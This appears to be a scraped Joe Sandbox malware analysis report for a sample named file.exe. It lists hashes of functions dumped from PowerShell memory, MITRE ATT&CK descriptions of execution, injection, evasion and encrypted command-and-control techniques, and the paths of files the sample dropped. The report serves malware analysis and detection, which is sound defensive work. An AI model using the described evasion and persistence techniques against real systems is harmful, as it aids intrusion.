Opcode ID: 7b013b301cf03982f5e02abeeda2c5aa15ddf8f12884673918d39ee4affacc33
Instruction ID: 78857ad1ff0171892759cc5bd70f67fe0da3c09819ed6e0183a7037421387cf4
Opcode Fuzzy Hash: 7b013b301cf03982f5e02abeeda2c5aa15ddf8f12884673918d39ee4affacc33
Instruction Fuzzy Hash: CF01BC79700215AFCF19EF64D8008DCB362FB88216B01862AC9016B740DB38AC0ADBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0676C2AC Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b82d4eede7668dc8632ac2115183e73ca08bfb4885e259c9c9f7950fcb18a70b
Instruction ID: 610446483c8f220a890c6cb62c9993fe4cec26066c789f8a089be302fe96a4c2
Opcode Fuzzy Hash: b82d4eede7668dc8632ac2115183e73ca08bfb4885e259c9c9f7950fcb18a70b
Instruction Fuzzy Hash: C7018C3AA041589FCB41DF98E8848DEFBF1EF88261B04C096FD65A7201C331EA20CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0676B320 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aacffebeff4c6726d3697c6f09c69053ad3c5e02fea56d7944cc36f34af9fdb7
Instruction ID: 42529e3a04328ef3aceb9c8e497c9a7849215b1846c55ddfb617b942e08f5d35
Opcode Fuzzy Hash: aacffebeff4c6726d3697c6f09c69053ad3c5e02fea56d7944cc36f34af9fdb7
Instruction Fuzzy Hash: 09F04435200700DFC7159F52E410A9777A7EB45312F50886DE55A8B654CB36E8109B80

Uniqueness

Uniqueness Score: -1.00%

Function 06F15772 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.439335533.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d00d354bfd2bd1fe7f3b978ea45bf573a9e78c7bc4f666d4ce443351bc649d6
Instruction ID: 93a453957e2f92ec15e4d4404c3ceef3e0b6e63c620bd57160a2edd1d6dfcc18
Opcode Fuzzy Hash: 7d00d354bfd2bd1fe7f3b978ea45bf573a9e78c7bc4f666d4ce443351bc649d6
Instruction Fuzzy Hash: 14F03732000249BFCF129FA4DC41CDA3FB6FF0D258B459445FA4046630D632E965EFA0

Uniqueness

Uniqueness Score: -1.00%

Function 06768E47 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1d27e3287e372a4445709a494c706ae1a4923b6798a9c7a80a8b48ca89b37d2
Instruction ID: 1b84cc919cae0ad3918b2099928231516e6468fd4fd14ba5a60485cabb7928f8
Opcode Fuzzy Hash: d1d27e3287e372a4445709a494c706ae1a4923b6798a9c7a80a8b48ca89b37d2
Instruction Fuzzy Hash: ADF08977704114AFC7059F55AC4499AFBAAEF8E134710817AE5089B714CB729C1687D4

Uniqueness

Uniqueness Score: -1.00%

Function 06F157CC Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.439335533.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dea814371e78bbd603c3e95fb8a251c86ecd0103356eb217491ff8772f0d60fb
Instruction ID: 65dc008a3adc8cb5e34ab0d80f1a333c325b787160a29e8e608d5fb7a436516d
Opcode Fuzzy Hash: dea814371e78bbd603c3e95fb8a251c86ecd0103356eb217491ff8772f0d60fb
Instruction Fuzzy Hash: 4CF04973104249EFCF929F94CC40CE93F72FF59254B044549FA454A630E332E925EB90

Uniqueness

Uniqueness Score: -1.00%

Function 06F15718 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.439335533.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f2d3505c943ed15811d25570c1f05dd834d4ffc28a554664fe240808f31bad6
Instruction ID: aeb15aca885c25742e815eafd195e5e81800c943e8b98833d8e1a8ede4fca3e1
Opcode Fuzzy Hash: 8f2d3505c943ed15811d25570c1f05dd834d4ffc28a554664fe240808f31bad6
Instruction Fuzzy Hash: 42F0CF3310024DBB8F62AE95DD00CDE3F76FF88658B059519FA0456620D672E865EB90

Uniqueness

Uniqueness Score: -1.00%

Function 0676B226 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: add492b60c8240efe1af08afcc02f6867954b6b80200abdf34269c053490ed82
Instruction ID: 07e06ea3aeb965af798342dbbb6806bd29cb0267edd60d3f4251ddc2bab6e961
Opcode Fuzzy Hash: add492b60c8240efe1af08afcc02f6867954b6b80200abdf34269c053490ed82
Instruction Fuzzy Hash: 21F027307006008FD32ADA29D448BBB37DAEBC6741F04807DE0458B780CB74DC81C391

Uniqueness

Uniqueness Score: -1.00%

Function 06F150B0 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.439335533.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb81858c5b673e83947d3405ad9b19c49188c8e7d2a5e55ab51a16d413e4ad0b
Instruction ID: 7f049dabdd0ff8e671cc32082f4de8565d792e2c0ec448e6230033b2a5ae6749
Opcode Fuzzy Hash: fb81858c5b673e83947d3405ad9b19c49188c8e7d2a5e55ab51a16d413e4ad0b
Instruction Fuzzy Hash: BDE0E532B002148BCB18966CD8144EE77EBEBC8221F04007AD602E7704CF75DC058BD0

Uniqueness

Uniqueness Score: -1.00%

Function 0676B228 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96bb68cb4b2a3a261e8a6984d2592ea2677ebf846ab5937480cfebcea9e6fe48
Instruction ID: bfec1a9fd2d8f34ff4cd428450dda50b13998e9b48536175a4390c591fea9bdd
Opcode Fuzzy Hash: 96bb68cb4b2a3a261e8a6984d2592ea2677ebf846ab5937480cfebcea9e6fe48
Instruction Fuzzy Hash: B2F0A7307006408FD32ADA69D4487BA37D6EBC6755F04847DE4558B791CB74DC91C791

Uniqueness

Uniqueness Score: -1.00%

Function 06768E58 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4c74491a016b9d0ed20563772eab9867ca8bbba2d0dcbccaca5ca3a779aac19
Instruction ID: 3b43dfbbb138705ebe52dec5e87d3885c030bfb6092b7eda02ea26e09b72996d
Opcode Fuzzy Hash: d4c74491a016b9d0ed20563772eab9867ca8bbba2d0dcbccaca5ca3a779aac19
Instruction Fuzzy Hash: 3DE06576304214AF97049F59AC4485EFBAAFBCD274310813EE5189B310C732AC02C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 06F1F67A Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.439335533.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: facbf968b3edd730468d6efdfbd5cdf93e47e9ae0e8c656a1009562385e1ae9a
Instruction ID: 82f8f9d51db325c8f2b368347d4d120dda070162fbe0ff940b5b6f406eeb40ca
Opcode Fuzzy Hash: facbf968b3edd730468d6efdfbd5cdf93e47e9ae0e8c656a1009562385e1ae9a
Instruction Fuzzy Hash: 59E0D8337092947F9B011AA6AC44CEBBFAEFE9A2A13494066FA08C6111CA354D11C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 06F15780 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.439335533.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 873cf5d32e3e89ffb1b6a7610638b7ac57c27fccd7758b5f135e6d509521def7
Instruction ID: 3e99b6e263b0845d7a4d4e7140f7867c4f9160711546af2ddee20ba938269b3b
Opcode Fuzzy Hash: 873cf5d32e3e89ffb1b6a7610638b7ac57c27fccd7758b5f135e6d509521def7
Instruction Fuzzy Hash: 2DF0BC3210024DBF8F52AF94D900CDA3BA6FF08268B409505FA4456620D672E9A4AB90

Uniqueness

Uniqueness Score: -1.00%

Function 0676A0D9 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2dd71b589a518f10a1148e1ac07e86ab3a07bb5788eb45fa9cf2628a3636cdc
Instruction ID: 03ab6e2a8042f68199e60f7761c54ab350d5cc10341dda00c966fc633c7ef73f
Opcode Fuzzy Hash: e2dd71b589a518f10a1148e1ac07e86ab3a07bb5788eb45fa9cf2628a3636cdc
Instruction Fuzzy Hash: 63E0CD773402206B81156AD9FC065DBB75FEBC5A613184527F50BC7740DD51DC5143EB

Uniqueness

Uniqueness Score: -1.00%

Function 0676E12A Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b1836f6f87e3755fc418c2254f7e0a6e02c1654177a03d0172c4be66f4276c3
Instruction ID: bb7202a88d5f3b6d1e654c6200ca747ffed31b76b68aa430aa32a4781a74b052
Opcode Fuzzy Hash: 2b1836f6f87e3755fc418c2254f7e0a6e02c1654177a03d0172c4be66f4276c3
Instruction Fuzzy Hash: 26E0D83A3281508FC38A673AA85D9797BA79FC621271844BAE149CF2B2C6248805D351

Uniqueness

Uniqueness Score: -1.00%

Function 0676D518 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62f96059f5b0af10f78d28d84f785ecef7ddf526b08b2fe658d26cc4a2acb0b0
Instruction ID: 86b5bedc32ef13d6226d782fea4c144a387ee445ba7fd963390a86f78559dde6
Opcode Fuzzy Hash: 62f96059f5b0af10f78d28d84f785ecef7ddf526b08b2fe658d26cc4a2acb0b0
Instruction Fuzzy Hash: F3E0C2762052601FC30166A8D8108C63FADDF4A21470100A7F008CB362CA959C4287F5

Uniqueness

Uniqueness Score: -1.00%

Function 06F17261 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.439335533.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 140683bd47638b2940da81ed4933e407c0962c3f326db04fed346fd20a021d66
Instruction ID: 0db6d12224f90b528b0373e5faf7642f96b488015252ce3f4a2fc52f049d2850
Opcode Fuzzy Hash: 140683bd47638b2940da81ed4933e407c0962c3f326db04fed346fd20a021d66
Instruction Fuzzy Hash: 85F0ED31A01244EFCB44CFB4D8A26EE7BB2EF81204F1048EED049DB290DA312F049B51

Uniqueness

Uniqueness Score: -1.00%

Function 0676B391 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b4b40a83d4be0775603b957b4dafe9f0d253d829afb3d18ff4ad8606039b7be
Instruction ID: b68f06ff5cbb64408dc058ff2434f9fb969c469353c514f00f39bb87f8316cfa
Opcode Fuzzy Hash: 8b4b40a83d4be0775603b957b4dafe9f0d253d829afb3d18ff4ad8606039b7be
Instruction Fuzzy Hash: 72E0C23230A2846FD342C7216C60CEBBFAADAD1110B0A845BF599C6052C6308426C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 0676A0E8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7fe1cda99acc0d70004956b9bf1e4125db0227fcd6388bed31f175a2d42c0f7
Instruction ID: ad9aa67caee6018fcb656826bd7601c2c8235e07dcd6cc68f614050418e3ca69
Opcode Fuzzy Hash: a7fe1cda99acc0d70004956b9bf1e4125db0227fcd6388bed31f175a2d42c0f7
Instruction Fuzzy Hash: 35D0A73A3006206B45047A9EE40089FF79FEFC9EA1304052AEA1AC7344CE61EC1243EA

Uniqueness

Uniqueness Score: -1.00%

Function 06F17270 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.439335533.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f127144fb1d16bdba3efad782ed0065fab785d9b9854dcc4b862c070ad24be89
Instruction ID: d26d51dabfd4b60b082a90a33c5e6271dd21ee3f6cb9feefb10843fa4cd4d13b
Opcode Fuzzy Hash: f127144fb1d16bdba3efad782ed0065fab785d9b9854dcc4b862c070ad24be89
Instruction Fuzzy Hash: C5E08634A01308EFCB44DFA5D9115DE73BADB45245F5048ADD5099B340DE316F009B91

Uniqueness

Uniqueness Score: -1.00%

Function 0676A278 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 812087c4c8cacdb621c5b0e03e4694bc52d0576d7c8fca60f7fb3f6a0b537eac
Instruction ID: f100fdb3476888e1cce9908bb9cbec0ca413d2e7846bef4361ff3b2480b665d1
Opcode Fuzzy Hash: 812087c4c8cacdb621c5b0e03e4694bc52d0576d7c8fca60f7fb3f6a0b537eac
Instruction Fuzzy Hash: E3E0E574A40209CFDB54DF95D0A8BAEBBF0AF48314F188409E902A7291C7349841CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06F1F080 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.439335533.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d165a16e30ba3ea7428c1686e75e00d8f5800b3d7017eb376805eb682b1374e
Instruction ID: f4df4fd98a6a36d961551e8c8390e2f4fcd05e379f5b25216d330ed5fdd3f478
Opcode Fuzzy Hash: 8d165a16e30ba3ea7428c1686e75e00d8f5800b3d7017eb376805eb682b1374e
Instruction Fuzzy Hash: 3DD05E392102209FC745EB6AE408EC677A9EF48225B014096E909CB322CA35DC008B91

Uniqueness

Uniqueness Score: -1.00%

Function 0676D528 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84023c6350526eba8d427f35244b139e1c579c1432a3142972f33cf25e58591b
Instruction ID: 2c155823ff119461de6026dd9fcc419b42e4b8a57189c6a788ee96a5249ff1a3
Opcode Fuzzy Hash: 84023c6350526eba8d427f35244b139e1c579c1432a3142972f33cf25e58591b
Instruction Fuzzy Hash: ABC012313100344BC604A65CE44495937DDDB49728B0100B6E509CB361CA96EC4187D9

Uniqueness

Uniqueness Score: -1.00%

Function 06766243 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b516523a415f35318928acc9fb1083f7c4757441b6e72b36890ae947cb6978e
Instruction ID: a45cfb3c837d0e686637fac9e822a45596afe1de15fca1538e87ee8a87696f0f
Opcode Fuzzy Hash: 1b516523a415f35318928acc9fb1083f7c4757441b6e72b36890ae947cb6978e
Instruction Fuzzy Hash: 27D0CA3BA0011CAFCF008AC0E840ACDFB32FB88362F008022E7106A160C27219AADB80

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\7zS7660.tmp\Install.exe

C:\Users\user\AppData\Local\Temp\7zS7660.tmp\__data__\config.txt

C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe

C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe

